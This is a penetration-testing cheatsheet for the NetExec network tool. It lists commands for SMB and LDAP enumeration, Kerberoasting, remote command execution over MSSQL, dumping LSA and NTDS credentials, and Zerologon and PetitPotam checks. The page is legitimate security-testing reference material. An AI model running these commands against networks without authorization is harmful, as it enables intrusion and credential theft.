NetExec, also known as nxc, is a powerful network hacking tool designed to automate security assessments of large-scale networks.
It builds upon the legacy of CrackMapExec, offering enhanced functionality for penetration testers, red teamers, and cybersecurity professionals. Below is a detailed cheatsheet to help you utilize NetExec effectively.
To install NetExec:
bashsudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec
netexec --version The general syntax for NetExec commands:
bashnetexec <service> <target> -u <username> -p <password> Example for SMB:
bashnetexec smb target -u username -p password netexec smb target -u '' -p ''netexec smb target -u 'guest' -p ''netexec smb target -u username -p password -knetexec smb targetnetexec smb target -u username -p password --sharesnetexec smb target -u username -p password --usersnetexec smb target -u username -p password --groups --users --shares --sessionsnetexec smb target -u username -p password --get-file target_file output_file --share sharenamenetexec ldap target -u '' -p '' --usersnetexec ldap target -u username -p password --kerberoasting hash.txtnetexec mssql target -u username -p password -x command_to_executenetexec ftp target -u username -p password --lsnetexec smb target -u username -p password --lsanetexec smb target -u username -p password --ntdsCheck for vulnerabilities like Zerologon or PetitPotam:
bashnetexec smb target -u username -p password -M zerologon netexec smb target -u username -p password -M webdavnetexec ldap target -u username -p password --bloodhoundExplore the official NetExec Wiki and practice labs like HackTheBox’s Mist or Rebound to refine your skills.
This cheatsheet provides a quick reference to NetExec’s core functionalities, enabling efficient network enumeration, exploitation, and post-exploitation tasks.
General Working of a Web Application Firewall (WAF) A Web Application Firewall (WAF) acts as…
How to Send POST Requests Using curl in Linux If you work with APIs, servers,…
If you are a Linux user, you have probably seen commands like chmod 777 while…
Vim and Vi are among the most powerful text editors in the Linux world. They…
Working with compressed files is a common task for any Linux user. Whether you are…
In the digital era, an email address can reveal much more than just a contact…